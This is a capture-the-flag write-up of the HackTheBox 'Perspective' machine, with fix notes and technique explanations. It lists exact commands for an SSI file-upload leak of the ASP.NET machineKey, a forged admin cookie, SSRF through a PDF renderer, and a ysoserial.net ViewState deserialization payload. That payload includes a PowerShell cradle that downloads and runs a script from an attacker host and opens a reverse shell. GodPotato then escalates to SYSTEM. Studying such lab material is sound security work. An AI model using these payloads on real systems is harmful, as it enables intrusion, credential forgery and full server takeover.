Perspective
Summary
A Windows IIS 10.0 server hosting an ASP.NET 'New Product Request System' (NPRS) at perspective.htb was fully compromised through a chain of five linked vulnerabilities. I self-registered a low-privilege account and uploaded a file with a .shtml extension to the product-image feature; IIS processed it as a Server-Side Include directive that read and returned the application's web.config, exposing the ASP.NET machineKey — the master encryption and validation keys for all authentication cookies and ViewState payloads.
Those keys were used to forge a valid forms-authentication cookie for the 'admin' account, granting immediate admin access without knowing the password. As admin, a PDF-report feature that fetched server-side URLs was abused to discover a private Swagger API on localhost:8000.
The same machineKey, combined with the ViewStateUserKey recovered by breaking its weak custom RC4 encryption, allowed ysoserial.net to forge a malicious __VIEWSTATE payload that deserialized to an OS command — giving a reverse shell as perspective\webuser and the user flag. The webuser account held SeImpersonatePrivilege; GodPotato exploited Windows COM impersonation to clone the NT AUTHORITY\SYSTEM token, achieving full control and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <b64_revshell>, <decrypted_vsuk>, <dk>, <encrypted_vsuk_hex>, <ev>, <forged_ticket>, <leaked_dk>, <leaked_vk>, <rc4_key_hex>, <vk>, <vs>, <vsg>, <ysoserial_output> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Full TCP port scan with service version detection.
$ nmap -Pn -sV --min-rate 5000 -p- $TARGETRegister the discovered virtual host for name resolution.
$ echo "$TARGET perspective.htb" | sudo tee -a /etc/hostsConfirm the application is live and collect hidden form tokens from the response.
$ curl -sS -H 'Host: perspective.htb' http://$TARGET/Enumerate application routes and discover the product-upload and admin features.
$ feroxbuster -u http://perspective.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x aspx,asp,txt -H 'Host: perspective.htb'Exact commands 3
Fetch the registration page to extract __VIEWSTATE, __VIEWSTATEGENERATOR, and __EVENTVALIDATION tokens.
$ curl -sS -c cookies.txt -H 'Host: perspective.htb' http://$TARGET/Account/Register -o register.htmlRegister my account; replace form tokens extracted from register.html.
$ curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Register -d "Username=$USERNAME&Password=$PASSWORD&ConfirmPassword=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>"Log in and persist the session cookie in cookies.txt for subsequent requests.
$ curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Login -d "Username=$USERNAME&Password=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>" -LExact commands 3
Create the SSI payload file instructing IIS to include web.config from the web root.
$ printf '<!--#include virtual="/web.config"-->' > payload.shtmlUpload the SSI payload as a product image; replace form tokens from the /Products/NewProduct GET response.
$ curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -F 'ProductImage=@payload.shtml;filename=pwn.shtml;type=image/png' -F 'ProductName=test' -F '__VIEWSTATE=<vs>' -F '__VIEWSTATEGENERATOR=<vsg>' -F '__EVENTVALIDATION=<ev>'Request the uploaded .shtml file; IIS evaluates the SSI directive and returns web.config contents including the machineKey.
$ curl -sS -H 'Host: perspective.htb' http://$TARGET/Images/pwn.shtmlFixBlock server-executable extensions in the product-image upload featureCritical
Exact commands 4
Clone the legacy forms-auth ticket library used to generate the forged cookie.
$ git clone --depth 1 https://github.com/dazinator/AspNetCore.LegacyAuthCookieCompatBuild in Debug mode; Release mode fails due to a missing strong-name key (dazinator.snk).
$ cd AspNetCore.LegacyAuthCookieCompat && dotnet build --configuration DebugGenerate a forged .ASPXAUTH ticket for 'admin'; replace key values with those extracted from web.config.
$ dotnet run --project AuthTool -- --username admin --validationKey <leaked_vk> --decryptionKey <leaked_dk> --validationAlg SHA1 --decryptionAlg AESVerify admin access; a 200 response (not a redirect to /Account/Login) confirms the forged ticket is accepted.
$ curl -sS -i -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' http://$TARGET/Admin/AdminProductsFixRotate the ASP.NET machineKey and store it outside web.configCritical
Exact commands 2
Trigger PDF generation with a crafted product ID; save the resulting PDF file.
$ curl -sS -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' -X POST http://$TARGET/Admin/AdminProducts -d 'action=generate&productId=1' -o report.pdfExtract text from the PDF to reveal any embedded internal URLs returned by the rendering bridge.
$ pdftotext -layout report.pdf -FixRestrict the PDF-report renderer from fetching internal or localhost URLsHigh
Exact commands 5
Decrypt the ViewStateUserKey; replace rc4_key_hex with the recovered RC4 key and encrypted_vsuk_hex with the ciphertext from application source or session cookie.
$ python3 -c "from Crypto.Cipher import ARC4; key=bytes.fromhex('<rc4_key_hex>'); ct=bytes.fromhex('<encrypted_vsuk_hex>'); print(ARC4.new(key).decrypt(ct).decode())"Start a reverse-shell listener on my machine before submitting the payload.
$ nc -lvnp 4444Forge the malicious ViewState payload; run on Windows or via Wine. Generate b64_revshell with: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER_IP:9000/r.ps1')")).
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate --path "/Products/NewProduct" --apppath "/" --validationkey <vk> --validationalg SHA1 --decryptionkey <dk> --decryptionalg AES --viewstateuserkey <decrypted_vsuk> -c "cmd /c powershell -nop -e <b64_revshell>"Submit the deserialization payload; catch the reverse shell on the nc listener.
$ curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -d '__VIEWSTATE=<ysoserial_output>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>'Read the user flag from the webuser desktop inside the obtained shell.
$ type C:\Users\webuser\Desktop\user.txtFixReplace the weak RC4 ViewStateUserKey encryption with a strong algorithm and enforce ViewState MACCritical
Exact commands 5
Confirm SeImpersonatePrivilege is listed as Enabled on the webuser shell.
$ whoami /privServe GodPotato-NET4.exe from my machine; run in the background with GodPotato placed in the serving directory.
$ python3 -m http.server 9000Download GodPotato to the target; run inside the webuser reverse shell.
$ iwr -useb http://$ATTACKER_IP:9000/win/GodPotato-NET4.exe -outfile C:\Windows\Temp\gp.exeVerify code execution as NT AUTHORITY\SYSTEM.
$ C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"Read the root flag.
$ C:\Windows\Temp\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 80/tcp | http Microsoft IIS httpd 10.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.